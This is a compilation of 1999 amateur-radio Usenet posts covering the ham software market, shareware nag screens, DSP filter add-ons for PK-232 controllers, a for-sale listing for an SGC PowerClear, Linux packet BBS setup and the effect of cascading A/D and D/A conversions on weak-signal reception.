a statistically insignificant portion of the total base, but,
in my crude estimation, the number of people who would even be
interested in the software is
700K*.9*.3*.75*.1*.75=about 10,000 hams.

And I am being VERY conservative in my estimation. Throw in the existance

of software in the market already at a reasonable price, and the amount of
piracy that takes place when it comes to ham software, and you are lucky
there is anything out there at all.

Hey guys.

Anyone have an image of the KPC-3 6.0 (or later) firmware? This is for the older KPC-3, not the KPC-3 Plus.

Thanks.

- Gary Marsh (VO1CPU), gmarsh@thezone.net

Okay, I guess you were mentioning your FT-990, or what it was, and I thought
that meant rig control. It would be a good thing for someone to
come up with a radio.dll standard. Though it seems that Icom/Yaesu/Kenwood
can't even agree on an 8-pin microphone connector, it seems unlikely
that they'd cooperate on a radio control programming interface. If you
want cooperation with other programmers to make drivers, I think a more

Linux-y, open source, model is better than a shink-wrap model. Though in
that mode you're going to get the neat integration that you get with a
massive all-in-one package.

With Direct-X for sound, you might be okay on the sound
card side, as sound is pretty stable lately in Windows. Though, if you
want to support stuff like Baycom modems, and soundmodems, it's just
pushing the interface in ways it wasn't designed for. The problem is that weird
stuff just happens -- and the products you describe probably went through
a big phase of heavy testing on lots of hardware. Will your sound card work
as a 9600 baud modem? What do you write on the outside of the box so that potential
customers know whether their sound card will work at 9600? The only way
to be really sure, it to just buy them all and test them all -- and then list
on the box, those that actually do work in testing. Anything else is asking
for trouble down the line.

And, doing sound card modems, I would say, that is really, eeking out those
last few db's, is not something you're just going to do. It starts to get
a little more serious. Really, you want a guy who knows
this stuff to write this code -- though he's not going to want to mess with
your user interface and buttons and things.

>capable machine within reach of your station?).

Well, I have only a single machine in operation in my home (although of
course I have 3 more in the shift register!), which is a Pentium 233MMX.
It could be running Windows, but instead it is running Linux and handles
many tasks including packet radio and control of my R7100. Software
exists for some more hamradio tasks and I have had a completely automated
satellite packet station on it, but that is no longer operational.

But I don't consider myself representative for the amateur radio software
market. I have written a lot of the software myself, just for the fun of
it. Like homebrewing a transceiver is more fun for some than operating it.

>But even if it _is_
>true, it's inconceivable that those hams aren't running a minimum of a
>486 or a Pentium 90 machine in the shack!

Only when the latest "shift" was less than about two years ago.
Most software was developed (or development was started on it) way before
that. That in itself could be indicative of the state the hamradio market
is in. I have not seen as many new pieces of equipment appear on the
market recently as was normal about 10-15 years ago, either.

> I think software authors who buy into the concept that most hams
>aren't using capable machines in their shacks are doing both themselves
>and their potential customers a disservice. Modern programs are not

Not everyone sees Microsoft as the sole supplier of systems, and the
appearance of a new release of their systems as a reason to "upgrade"
to it and scrap their current system.

They do affect other markets - where piracy is a major problem. The
biggest problem is that too many hams expect a free ride. You said it
yourself, when asking where the non-profit spirit was. Hams are
notorious for being cheap. Why register the shareware, if paying the
registration fee doesn't do anything, or turn on any extra features?
That's also the answer to your question regarding the large number of
DOS programs, rather than Windows. Hams are cheap. Many are still
plugging away with 386 systems. Sheesh, it was how few years ago that
most hams were still using C64s?

Well, MultiMode began as a program written for myself, since there was
nothing out there for the Mac. So I'd say I chose the correct OS... It
started as a simple CW decoding package, and grew from there. A windows
port is in the works, but it's a rather low priority. From looking into
the windows architecture, MultiMode is do-able, but it will be a pain,
Gates&Co screwed up so much. But that's for another flame-war...

> Seriously, one of the most annoying things about Ham

See my previous point - it's not the fault of the manufacturers. Too
many hams really will spend huge bucks on the new right, and want to
control it with their 286.

> work developing it.

Here are the flaws I see with the above analysis: From practical
experience, it's going to take a lot longer than two months, even
working full time. All of your sales are not going to come at once,
they'll dribble in. Are you ready to offer tech support to your 1000+
(or 5000+/yr) customers? How did you come up with these sales figure,
anyway? Working backwards. You determined your costs, and then computed
how many sales you need to cover your costs. Do you really think there's
a market for 5,000 copies a year? Tune around the bands, how many hams
are using SSTV? I listen to the 14.230 nets, and it's the same old guys
each week, exchanging their R rated pictures of topless women. (So much

for FCC enforcement) RTTY is pretty much dead. PSK31 is a great new mode, and there's some excellent software out there for it, that runs under Windows even. I can't recall if it's freeware or shareware. My guesstimate (taking MultiMode sales, extrapolating to the Windows market, and taking into account ham-cheapness) is probably around 1,000-2,000 copies a year. You've already got several programs competing for that market, so you can only expect to get a portion of the pie.

> One of the biggest problems writers of ham software face is
> their own lack of recognition of the market potential of the product.
> Selling through dealers (not just ham dealers such as AES or HRO, but
> software dealers such as Circuit City and Babbages as well), and

Why on Earth would you expect them to carry such a product? Do you have any idea of how the retail software market works? Shelf space is extremely precious. If product doesn't move, it gets pulled. There's no way ham radio software has a chance to get shelf space in Babbages, CompUSA, etc. I doubt it could even get into the major mail order magazines. You made a comment comparing ham radio software to other hobbies, like geneology. Well, there's no comparison, geneology is a much bigger market!

> distribution sites (such as TuCows), would mean an enormous increase in

> receive the latest news feeds, police radio faxes, etc.??). It wouldn't
> even take a change in the program logic, just a shift in marketing.

To some extent, this is true. I've found a large secondary market for MultiMode - boating enthusiasts. Many of them like the idea of taking their PowerBook along, and viewing weather fax, without the need for a dedicated fax machine. Aviation buffs like ACARS mode. But news feeds? That was in the 70's, other than North Korea and a few other backwaters, all the press agencies gave up on HF RTTY years ago. Police traffic would be interesting, but you've got the problem that the Communications Act of 1933 isn't in effect anymore. Try releasing a MDT decoder, and see how long you last before the FBI breaks down your door.

> haven't you visited TuCows lately?

Have you visited any shareware author forums or mailing lists recently? Many authors have reported their results, Nags work, pure shareware

doesn't. That doesn't stop authors from releasing pure shareware.
Several of my programs are still shareware, without nags. All of mine
that currently have nags started as shareware without nags. Without
exception, adding a nag dramatically increased the registration rate. If
nags don't work, then please explain the results.

There was an interesting test (sadly I forget the name of the program or
author). A program was released that had a 50/50 chance of being nagged
or nag-free (the choice was made the first time it was run). Otherwise
the program was identical. The author compared the registration rates.
Well, there was no comparison. The nagged program had a much larger
registration rate.

> 1. I never stated it should be free--only reasonably priced. No

> difference between wanting a fair return on one's investment and pure greed

Who defines "pure greed"? Which is the bigger example of "pure greed", a
hobbyist who sells an sstv program for $99, and makes a few thousand a
year, or Bill Gates, with a net worth in excess of $100,000,000,000.00?
And I don't believe Microsoft markets any ham radio software...

You claim to have an economics background (academic, anyway). Mine's
much less formal, a few years of selling shareware, a few years before
than selling software at computer shows, and several readings of "The
Wealth Of Nations". You complain about the "high price" of ham software.
Take a $99 program. Will cutting the price double the sales? (Or will it
triple the sales, which is more likely what's necessary to break even)
The correct price for a product is that which people will pay for it. I
argue (and base this on my own personal observations of sales, and the
effect price has on sales) that lowering the price will not increase net
revenue for the author. Ham software is (to some degree) inelastic. I've
raised the price of MultiMode three times, each time resulting in an
increase in registrations. No doubt some of this has to do with
perceived value. In fact, it's probably time for another price hike.

The cost of aquiring resources is rolled into the purchase price.

> Am I _really_ unreasonable, or merely asking that ham software

3190. Linuxnet and xfbb?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-20 00:00:00 UTC
From: erik@fornax.nl
Message-ID: <7n2pgn$8uu$1@nnrp1.deja.com>
Source record: 17346

Dear Om,

We are setting up a bbs/node station. Because of the flexibility we want to use linuxnet. On the same PC we want to run a F6FBB linux version. We want to know how we can make F6FBB talk with Linuxnet so that the BBS is connectable from the outside.

We are using:

Linux RedHat 6.0 Kernel 2.2.5-15
LinuxNet (X)Net version 1.18
XFBB 7.00g

The problem is

A: How should we configure FBB, should fbb use the AX ports, or should FBB be connected to Linuxnet? And How? And is it possible to connect FBB from the outside? (The BBS has a different callsign then the node.)
B: If we use kissattach for the first two ports (Symek TNC2s and TNC2h in Kiss) we can't attach the port in Linuxnet. If we don't kissattach these ports first, we can attach them in Linuxnet, but then we don't have the ax0 and ax1 ports.

Our axports file looks like this:

```

The following PSK31 Windows software is not necessarily the complete
list:

"PSK31SBW" www.kender.es/~edu/psk31.html

"MixW32" users.nais.com/~jaffejim

"Logger" www.itis.net/golist

"PSKGNR" ("Front end" for psk31sbw)
http://www.al-williams.com/wd5gnr

PSK31SBW is explicitly "freeware". Take a look at the others and
decide for yourself whether they are "freeware" or "shareware" or
what.

I'm considering plunging into the digital world and am trying to decide whether to buy a new PK-232/DSP or find a used PK-232/MBX around somewhere. Anyone out there with experience using both with some observations? Primary use will be PACTOR, but also Baudot. I'll also be wanting to use it for MBO ops for traffic handling.

Thanks in advance,

Gary W2CS
Apex, NC

I got the PK-232 with the DSP option. I haven't done a ton of testing on it,
but I'd say, I plug it in, and the thing basically works. I guess Winlink,
of all things, has given these old boxes a little new life, though I haven't
played with that myself. If you buy one used, make sure it has the
Pactor ROMS, or figure in the cost of that upgrade.

Source record: 17352

It is my understanding that the PK-232/DSP is *not* a true DSP system, but a DSP front end audio filter for the PK-232 analog system. It's somewhat akin to adding one of the outboard DSP audio filters between the receiver and and PK-232 although the filter bandwidths may be better suited to FSK operation. How much improvement you get with the DSP depends upon how good your receiver is without it. If you only have wide SSB filters available in your receiver then you may see quite an improvement. If you can select 500 Hz IF filters in the receiver then the DSP will not make as much difference.

If you want true DSP then you have to go with something like HAL or the PTC-II. By the way, SCS has just released a new lower cost ($600 I believe) Pactor-II unit with the same performance as the original PTC-II.

3197. MULTIMODE CONTROLLERS AND PSK31 ???

Hello Gary,

DSP provides improved operation in crowed bands and with weak signals. The
numberof PK-232 upgrades we (Timewave) have sold in the last 6 months have
produced very positive comments from the buyers.

By increasing the signal to noise ratio about 3-4db the error rate is reduced
about 100X, on RTTY that's a very significant improvement. In PacTOR mode, the
firmware dynamically switches the proper filters between 100/200 baud
resulting in fewer retries.

The advice to "forget about DSP" is best ignored, It has revolutized radio
design as well as TNC designs. Talk to any who has a PK-232/DSP before you
decide.

In our BETA tests, The DSP units could connect and complete message handling
in situations where the other analog units could not hold a connection.

Hope this helps

Reason = $59.95 US for a ROM upgrade, for 8.2. Kantronics won't give me anything else. I don't want an upgrade, I want a working KPC-3. For the same price as the ROM upgrade, i could buy a used (working) unit. That's why I'm asking the group.

My KPC-3 used to have ROM 6.0, but I wasn't using the thing for much. Then someone called me and said they needed a 27c512. Where I didn't think I'd use it soon, I loaned them the one out of the KPC-3, under the condition that they burned me another ROM chip with the same image when they got one. Sure enough, they lost the image, and now I have a firmware-less KPC-3. *sigh*

So, if anyone's got KPC-3 firmware (any version), please e-mail. :)

Hello Bob

If you present a PK 232 analog filter a perfect signal, you get perfect
results. Check our the experience N1RCT had when he put his DSP front end on
line during his Caribbean trip

http://www.megalink.net/~n1rct/dxcc/vp9story.html

BTW N1RCT has as much digital communications experience as anyone on the web I
have run across....

>difference.

You might want to check your calculations again. Dropping the bandwidth from
500 to 250 cycles is an increase in signal to noise ratio of 3 db for a given
signal strength. Assuming that one is operating with marginal signal
strength (a typical DX or poor antenna situation), look up the error rate
improvement for a 3 dB s/n increase and you will see it runs as much as 2
orders of magnitude or 100X better.That's hardly insignificant. We've run the
tests that demonstrate the improvement and our customers confirm it with
their reports of improved copy. Less than 10 years ago the military was paying
$6000 a unit just for this level of performance.

Hi John,

How does the DSP in the PK-232/DSP make the signal perfect? Does it decode and regenerate the signal before sending it on the the analog circuit? By the way, I had an analog PK-232 which I used on RTTY and Amtor and it was a very good performer.

Thanks for the info.

The DSP board does not "make the signal perfect", rather it cleans the noise out of the bandpass and uses twin peak brickwall filters to improve the signal to noise ratio.

The DSP-599zx does do digital regeneration,Several mags have given this mode rave reviews... This was the mode that outperforms the SCS unit when we ran head to head tests.

By the way, I had an analog PK-232 which I used on RTTY and

Hello Bob,

If you present a PK232 analog filter a perfect filter, you get perfect results. By putting the DSP filter in line you have the benefits of reduced bandwidth and twin peak brickwall filters. The signal is then processed by the pk-232.

Check out the experience of N1RCT when he added a DSP filter to his RTTY setup during his VP9 trip.

http://www.megalink.net/~n1rct/dxcc/vp9story.html

BTW N1RCT has as much digital experience as anyone I have run across on the air.

How much
>improvement you get with the DSP depends upon how good your receiver
>is without it. If you only have wide SSB filters available in your
>receiver then you may see quite an improvement. If you can select 500
>Hz IF filters in the receiver then the DSP will not make as much
>difference.
>
You might want to check your calculations again. Reducing the bandwidth from 500 to less than 250 hz is an increase in signal to noise ratio of 3db for a given signal strength. Assuming that you are copying a marginal signal (A typical DX or less than optimum antenna situation), look up the error rate improvement for a 3db s/n increase and you will see it runs as much as 2 orders of magnitude (100X) or better. Thats hardly insignificant.

We've run tests that demonstrate the improvement and our customers confirm it with their records of improved copy. Less than 10 years ago the military was paying $6000 a unit just for this level of improvement. We have been in the DSP business long before it made an impact on ham radios.

If you have a DSP-599zx try it with your current TNC in the digital regeneration mode and see how good RTTY can be. We have also seem improvement in PSK31 operation using the narrow CW filter mode.

Hope this clears things up a bit.

Hello Andrew,

Welcome to RTTY. To pull out stations in contest conditions or DX pileups you need as effective filters system as you can find. There are some good ones on the market. Have a look at http://www.timewave.com for some suggestions

>

Just wait, somebody will send a call that you can read. It does take a bit of getting used to.

>
>Since anyone with a stable rig and a PC with soundcard can now do RTTY ,
>PSK, and SSTV (no TNC required),

One drawback to using soundcards is the lack of real DSP filters. You can use soundcards for DSP sampling but there is a great deal more that DSP can do. Twin peak brickwall filters, digital regeneration, etc.

When you write code for a soundcard you must rely on the CPU in the PC to do your filter calculations and most (all) of the current programs do not take advantage of math co-processors or fast instruction sets since the code is written to run on the "average" PC. We have found that using a DSP narrow CW filter to preprocess PSK31 even helps with that mode immensely.

This is an interesting comment considering the position that G3PLX takes and defends on the merits of bandpass filtering prior to his program's processing.
Others and myself have reported very little improvement in print output from using 500 and 250 Hz IF filters in the receiver. I also use a narrow DSP filter ahead of PSK31 but truthfully have noticed little or no improvement in actual print output, as Peter has predicted.

I guess that your use of "immensely" is what I question. I have neither experienced or read of any pre-processing efforts that had much demonstrable effect on PSK31 print output. Do you have any quantitative data to support this claim?

3212. FS: SGC PowerClear DSP for digi modes &c.

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-21 00:00:00 UTC
From: Pete Ferrand <pete@vermontel.net>
Message-ID: <932608333.031.65@news.remarQ.com>
Source record: 17368

The SGC-2020 PowerClear (SGC catalog number 70-07) is an audio DSP unit designed for a little more versatility than competing units.

I'm posting this in the digital newsgroup because what's particularly nice about the filter arrangement is that there's a *separate short delay filter* for the TOR and ALE modes with only 2ms delay so the digital modes can be worked through the unit and get the benefit of noise reduction.

The normal voice mode filter has a 130 ms delay. To my knowledge the other DSP filters offered to the ham community do not offer this choice.

There are two noise reduction methods, either or both may be used simultaneously - adaptive noise suppression and a spectral noise subtraction. There's also high cut and low cut filtering, continuously adjustable, with a separate setting for center frequency (bandwidth) for an effective passband tuning arrangement. These filters have a shape factor of 1:1 according to the SGC. It will also simultaneously notch a bunch of tones and heterodynes if desired.

This all works very well and is easy to adjust with a single rotary knob to digitally set all the parameters and a couple of LED bar-graphs to visually display signal level, noise reduction level, and graphically show the frequency setting information. They spent a lot of time on designing the user interface and it's a lot cleverer than competing units. Also there are eight preset and seven user programmed memories where the frequency and noise reduction parameters can be stored.

There's also a built in speaker squelch, and front panel headphone jack. It sounds good, and seems to have a little lower distortion than other DSP's I've used. Like other DSP's it simply is inserted in the audio line between the radio and your speaker...there's also a line level output.

You can see the unit at the SGC web page at:

http://www.sgcworld.com/SGCpowerclear.html

And read the Universal Radio page at:

http://www.universal-radio.com/catalog/filters/0310.html

This unit is USA-made and in almost new condition, with original box, warranty card, and manual (schematic included!). Its

new price is currently $370, I will send it to you, shipping
included in the USA, for $275. If you're in another country
or wish special shipping arrangements like COD that's fine
as long as you bear the additional costs.

I've had the PowerClear for about a year, so please feel
free to email if you have any questions.

Best Morse decoding is done with DSP techniques. I'm using a Motorola
DSP eval board and it works better than I do. :-) Preselecting a
fixed wpm rate for Morse seems to work the best. I'm using 100mS
per 'dit', i.e. about 12wpm.

They do affect other markets - where piracy is a major problem. The biggest problem is that too many hams expect a free ride. You said it yourself, when asking where the non-profit spirit was. Hams are notorious for being cheap. Why register the shareware, if paying the registration fee doesn't do anything, or turn on any extra features? That's also the answer to your question regarding the large number of DOS programs, rather than Windows. Hams are cheap. Many are still plugging away with 386 systems. Sheesh, it was how few years ago that most hams were still using C64s?

Those that "expect a free ride" should be running Debian LINUX, not Windows. Many digital modes can be included as part of the kernel. Of course, if you like a fancy graphical human interface for your ham software, you may want to go the Microsoft route. Try: http://www.debian.org

Hello George,

You are correct, " immensely" was a poor choice of words. I think perhaps my "marketing hat" slipped down over my eyes so I couldn't see what I was writing :>)

The actual case is that we have received numerous reports from users who are seeing improvements when they add one of our DSP processors inline with their existing station setup. These setups run the gamut from soundcards to DSP and analog data controllers. The modes mentioned include RTTY (see the N1RCT reference below), CLOVER, PSK31, AMTOR and Pactor. We know this is real. It doesn't happen under all situations, but it generally occurs in weak signal/noisy band conditions (typical DX'ing). While we have some theories about this phenomenon we have not done a thorough analysis.

One example is our own PK-232/DSP which outperforms the more costly DSP-2232 in AMTOR and RTTY modes. We ran these tests using A/B switching in on-the-air tests. The difference is 10 years of DSP hardware improvement, and a new generation of DSP filter designs.

Again I can refer you to the article from N1RCT on the web. It is posted at: http://www.megalink.net/~n1rct/dxcc/vp9story.html

This was not meant to be a critique of PSK31 nor of soundcard based designs, rather a contribution to the thread discussing the digital modes. That much of

my intention seems to be working based on your thoughtful reply.

vy 73 and I'd be interested in anything else you might add to the thread.

Cecil,

Thanks for the reply. What software are you using? Did you write it
yourself? Do you have source code? If you can send it to me, I'll code
it up in Java so it will work with any receiver and a sound card.

Does it do both manual and machine generated morse? Is it better at
machine generated?

Thanks!
John

Dear ???,

Sorry, I don't see a signature. You may want to construct a signature
for your outgoings, so we know how to address you, other than "OM".

When I'm in my right mind - which is more often than not, now that I
have developed a thicker skin and a softer voice from my newsgroup
experiences, I try very hard not to get into controversy - Ha!

But this little thread shows great promise. The point that I really like is the bit about a "competent programmer". Spoken in the best tradition of "know nothing, ass hole, management".

In my opinion, everyone should go ahead and do what he thinks he can do, but let others do what they can do without a lot of un-needed scheduling and advice on how to do it. That should be taken as an observation - not advice!

Hello John

Take a look at mine. You can find it in:

http://oh3tr.ele.tut.fi/~oh3fg/cwrx.tar.gz

It was written with C for Linux OS, so you'll need tar and gzip programs
to open the package. If you're facing trouble to find those 'can openers',
please let me know. I'll then send it wide open via e-mail.

Hello, Thanks for reading this message.

Can anyone tell me if it is possible to have a PIC chip, say a PIC16C84
generate warble tones and white noise, through a speaker ?

Is there any code to do this, or does anyone know what would be involved ?

Andrew.

> generate warble tones and white noise, through a speaker ?

Very easy. The 84 is the one with the EEROM memory so it
is quick to reprogram so you can experiment.
Put a few ohms in series with your speaker as PICs
can get a bit annoyed driving raw inductive loads.
Be sure your off state is zero volts on the speaker.

> Is there any code to do this, or does anyone know what would be involved ?

If you don't care about the volume set bit high,
wait, set bit low, wait again, repeat ad nausium.
For whitish noise use a software shift register with
xor feedback but you need to clock at quite a rate to
get a good bandwidth.
You can do it on the RTCC timer tick but most people
have already used that for something else.

Pics have been used to generates many sounds, even packet protocol.
Check out these sites:

http://www.tapr.org This site sells a Pic Encoder kit
http://www.parallaxinc.com This site has documentation and samples of
software for a Basic Stamp (basically a pic that allows basic commands)
http://www.microchip.com The manufacturer has sample programs of sound
applications.

All that is usually required hardware wise is a capacitor and a speaker
hooked up to a Basic Stamp, or Pic chip.

warble would be easy, white noise is another issue as I don't think a PIC is fast enough to generate true random white noise.
Why is this posted in radio newsgroups?

Huh? Why *wouldn't* a radio newsgroup be a good place to post a question
about construction of a white noise generator??? And certainly, making
audio tones is an equally valid thing to want to do... (I have *NO* idea
where the "true random white noise" comment came from... Depends on how
wide a noise bandwidth he's looking to make...)

3236. SGC PowerClear DSP for digi modes &c.

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-23 00:00:00 UTC
From: Pete Ferrand <pete@vermontel.net>
Message-ID: <932782956.037.51@news.remarQ.com>
Source record: 17392

Pete Ferrand <pete@vermontel.net> wrote in message news:...

The SGC-2020 PowerClear (SGC catalog number 70-07) is an
audio DSP unit designed for a little more versatility than
competing units.

I'm posting this in the digital newsgroup because what's particularly nice
about the filter arrangement is that there's a *separate short delay
filter*
for the TOR and ALE modes with only 2ms delay so the digital modes can be
worked through the unit and get the benefit of noise reduction.

The normal voice mode filter has a 130 ms delay. To my knowledge the other
DSP filters offered to the ham community do not offer this choice.

There are two noise reduction methods, either or both may be
used simultaneously - adaptive noise suppression and a
spectral noise subtraction. There's also high cut and low
cut filtering, continuously adjustable, with a separate
setting for center frequency (bandwidth) for an effective
passband tuning arrangement. These filters have a shape
factor of 1:1 according to the SGC. It will also
simultaneously notch a bunch of tones and heterodynes if
desired.

This all works very well and is easy to adjust with a single
rotary knob to digitally set all the parameters and a couple
of LED bar-graphs to visually display signal level, noise
reduction level, and graphically show the frequency setting
information. They spent a lot of time on designing the user
interface and it's a lot cleverer than competing units. Also
there are eight preset and seven user programmed memories
where the frequency and noise reduction parameters can be stored.

There's also a built in speaker squelch, and front panel
headphone jack. It sounds good, and seems to have a little
lower distortion than other DSP's I've used. Like other
DSP's it simply is inserted in the audio line between the
radio and your speaker...there's also a line level output.

You can see the unit at the SGC web page at:

http://www.sgcworld.com/SGCpowerclear.html

And read the Universal Radio page at:

http://www.universal-radio.com/catalog/filters/0310.html

This unit is USA-made and in almost new condition, with original box, warranty card, and manual (schematic included!). Its new price is currently $370, I will send it to you, shipping included in the USA, for $275. If you're in another country or wish special shipping arrangements like COD that's fine as long as you bear the additional costs.

I've had the PowerClear for about a year, so please feel free to email if you have any questions.

Tnx es 73,
-Pete

http://hamradio-online.com: Great Stories!

Since 1995, Ham Radio Online has become one the oldest, continuously published online "magazines" on the Internet, with feature stories from around the world - stories that you won't find anywhere else. Plus, you'll find the original killer ionospheric propagation forecasts, disaster and emergency communications resources, an online calendar of events, bulletin boards and a huge library of articles going back to 1995. HRO is now read in 108 countries.

Ham Radio Online, in spite of its professional appearance, is published as a hobby and receives no income from any source and does accept any paid advertising. Period. You are welcome to reprint our stories in your club newsletter and at your web site, per our simple reprinting guidelines asking that you give us credit as the source (details available at the web site).

Please pay us a visit and read some of current stories, such as "The Saving of Oleg" (a gripping true story), "EMF Researcher Fakes Data", The "Wanna Tinker" Construction project series, now at installment #18, and "Opinion: Marketing Amateur Radio". Plus, if you have not read it yet, check out the danger to Amateur Radio coming from home computer networks that use home telephone wiring - these horrible devices operate from 5.5 to 9.5 Mhz - right in the middle of the HF frequencies, spewing forth radio frequency interference and receiving it just as well. Unfortunately for ham radio, as of May 1999, they account for nearly 1 in 4 home computer networks now being installed.

I hope you can stop by and enjoy this web site. If you have a story to contribute, please send it along.
Thanks,
73, Ed, KF7VY

Best BER performance is obtained by matched filtering. With the typical FSK modems used in amateur radio (RTTY, AmTOR, PacTOR,etc) this means bandpass filters with the proper width centered at each mark and space frequency. These filters will be different for each baud.

Ideal matched filters are defined as a filter that maximizes the SNR if we knew the characteristics of the noise and signal exactly. If the noise is spectrally white, a matched filter approximation will have a wider bandwidth than if there is strong adjacent channel interference.

Adding a DSP optimized filter is very useful when the existing modem does not have optimal filtering. This is because optimal filtering has a very significant influence on BER. This is well understood. A very good discussion of this is in Marvin Frerking's book: Digital Signal Processing in Communication Systems (ISBN 0-442-01616-6)

Although it is true that any A/D and D/A conversation will add errors and artifacts, these errors are insignificant with external DSP boxes like the DSP-599zx when operating with external multimodes and soundcards used in modem applications.

What all this means:

1. If an existing modem uses good matched filter approximations adding an external box or filter will not help.

2. If the existing product does not have optimum filters, whether it is a DSP implementation or not, then external filtering will help. Every analog modem in ham radio that I am aware of meets this criteria. This is also true of some digital implementations.

3. If S/N of the receive data is high, all modems will work well. Remember, a few dB has a major impact on BER.

4. John Douglas has reported improvements with the PSK-31 modems with a front end filter. I doubt that improvements will occur if the receive signal is surrounded by white noise. The cosine shaping is in fact, a matched filter. If there is strong adjacent channel noise (non-white) such as an interfering signal, then an external filter may be of benefit.

I have made many BER measurements with the KAM Plus and PK-232 (original) and found improvements in RTTY performance to be about 100 to 1.

The PK-232 DSP upgrade adds matched filtering, selected on a mode to mode basis including two filter sets for PacTOR (100 & 200 baud). Adding an external filter to the PK-232/DSP will not improve performance except in special circumstances where a slightly narrower filter set is better.

Where can I get demodulator source code for common ham radio modes?

There's a decent collection of them as part of the Debian LINUX kernel,
in, for example, .../ kernel-source-2.2.9/drivers/net/hamradio/soundmodem/
That includes both encode and decode. (There used to be a kernel source
code tour WWW page, but i don't have the current URL, alas.)

Similar code exists in other forms, which others probably know about better
than i do.

This should not be the case. Multiple A/D D/A conversions should worsen
SNR. That's what theory says, and is what I've seen in practice when cascading
DSP boxes. Once in the digital domain, the signal needs to stay in the digital
domain until all processing has been done. Converting back and forth between
the analog and digital domains introduces errors and artifacts which effectively
degrade the system SNR.

>One example is our own PK-232/DSP which outperforms the more costly DSP-2232 in
>AMTOR and RTTY modes. We ran these tests using A/B switching in on-the-air
>tests. The difference is 10 years of DSP hardware improvement, and a new
>generation of DSP filter designs.

Now that's different, you aren't cascading A/D D/A conversions. But do you see
a similar improvement when you put the DSP box ahead of the DSP-2232? Or
do you see similar improvements when stacking multiple DSP filter boxes ahead
of a PK232? I'd be surprised if you do.

Improvement should not happen when cascading good DSP implementations
with A/D D/A conversions. I've found that my FT847, with its on board DSP active,
cascaded to an external DSP box, then cascaded to Peter's PSK31 program, doesn't
work as well as directly feeding Peter's program with either or both of the other DSP
processors bypassed (best when both are bypassed). The only thing that does improve
performance is switching the radio to CW mode to use its narrow IF filter, which reduces
AGC pumping by nearby signals. That does make a significant difference, but cascaded
DSP filtering at audio degrades performance.

That says to me that Peter's DSP implementation is sufficiently good that multiple
A/D D/A conversions ahead of it does more harm than any good the additional
external DSP filtering might accomplish.

>Is the government still using morse code?

There's supposedly still some activity doing third world intercepts.
That's rumored to be done by NSA's supercomputers. Of course
they won't say. There's a handful of military intercept operators
still doing it too, though how much longer that might continue they
won't say either.

>Over here they shut down the last station using morse code end of
>last year...

Government shore station activity stopped here last year too,
and the last commercial shore station just signed off recently
amid much nostalgic publicity. Morse is still used "for ID" in
some services, but that's phasing out rapidly too.

Amateurs still use it, of course, so it'll still be heard on
the airwaves as a hobby activity, but its commercial and
military days are about over.

Yes, I'm aware of the benefit of matched filter detection. By definition,
it is the best that you can do.

>Although it is true that any A/D and D/A conversation will add errors and
>artifacts, these errors are insignificant with external DSP boxes like the
>DSP-599zx when operating with external multimodes and soundcards used in
>modem applications.

I'm not convinced that this is true. Errors and artifacts accumulate significantly
when multiple conversions are done. This is why we've gone to 601 digital internally
in broadcast plants to avoid multiple A/D and D/A conversions which cause visible
degradation of the signal. Now that it is becoming common for audio DSP to be built
into our radios, we have to be more aware of the effects of cascading multiple A/D
and D/A conversions in the audio chain. We may have 3 or more processors in
cascade, and that can have a significant effect on weak signal BER.

>What all this means:
>
>1. If an existing modem uses good matched filter approximations adding an
>external box or filter will not help.

Yes, and the multiple conversions will actually degrade SNR a perceptible
amount.

>2. If the existing product does not have optimum filters, whether it is a
>DSP implementation or not, then external filtering will help. Every analog
>modem in ham radio that I am aware of meets this criteria. This is also
>true of some digital implementations.

Yes, I agree with this also. The benefit of optimum match filtering will
outweigh the degradation of the additional A/D and D/A conversions
when the original unit does not have near optimum filtering. In principle,
analog filters can be optimum matched filters, but in amateur practice
that is not the case because of the dynamics of our signal environment.
This is where an add-on box such as yours can be most beneficial.

It is also true that some digital modem implementations being used
by amateurs aren't near optimum. But in the latter case I'd suggest
that a greater improvement would be obtained by replacing the inferior
digital implementation rather than cascading it via multiple A/D and D/A
conversions with an external DSP filter. The benefit of avoiding multiple
cascaded conversions is a real one for weak signal detection.

>3. If S/N of the receive data is high, all modems will work well. Remember,
>a few dB has a major impact on BER.

This one is a Duh. :-) Nearly any demodulation scheme works satisfactorily
when SNR is good. There is no perceptible benefit to adding additional filtering.
An obvious example is VHF 1200 baud AFSK over FM packet.

>4. John Douglas has reported improvements with the PSK-31 modems with a
>front end filter. I doubt that improvements will occur if the receive
>signal is surrounded by white noise. The cosine shaping is in fact, a
>matched filter. If there is strong adjacent channel noise (non-white) such

>as an interfering signal, then an external filter may be of benefit.

I reported my experience with this. I saw no improvement with additional audio filtering, though I do see improvements with narrow IF filtering inside the receiver's AGC loop to stop AGC pumping from strong adjacent signals. Additionally, cascaded DSP causes a SNR degradation due to the multiple A/D and D/A conversions. By bypassing the other DSP filtering, a perceptible improvement in BER was evident on very weak signals. So my conclusion is that while additional filtering inside the receiver AGC loop can be beneficial, cascading multiple DSP audio filters can actually degrade performance in this particular situation.

>I have made many BER measurements with the KAM Plus and PK-232 (original)
>and found improvements in RTTY performance to be about 100 to 1.

I can believe that. Neither unit has near optimum filtering.

>The PK-232 DSP upgrade adds matched filtering, selected on a mode to mode
>basis including two filter sets for PacTOR (100 & 200 baud). Adding an
>external filter to the PK-232/DSP will not improve performance except in
>special circumstances where a slightly narrower filter set is better.

I believe that too, but I'd go a step further and say that the cascaded A/D and D/A steps should make matters worse in most cases. Let me be very clear in saying that the degradation is not a gross degradation, but as you noted, a small SNR degradation can have a significant impact on BER when signals are near the detection limit.

In most cases, amateurs won't see this. But if they're trying to detect very weak signals, the effects will be evident. In general, the fewer times you have to convert back and forth between the analog and digital domains, the better. Ideally, the conversion will only be done once, with all the following processing and detection done in the digital domain.

I've been doing a number of experiments with different DSP processing devices and programs. What I'm finding is that when 2 or more of them are cascaded via conversions back and forth between the analog and digital domains, the results are worse for very weak signals in gaussian noise than if only the better one is used alone.

One conclusion that might be drawn from this is that if we need the power of multiple DSP processors to achieve optimum match filtering, we should provide ways to interconnect them in the digital domain so that we can avoid the degradation due to multiple conversions back and forth between the analog and digital domains.

There is a standard in the professional audio community for digital audio interconnections in plant. (Actually there is more than one.) Perhaps the amateur community needs to agree on a digital audio standard we can use between our DSP radios, filter boxes, modems, and/or computers.

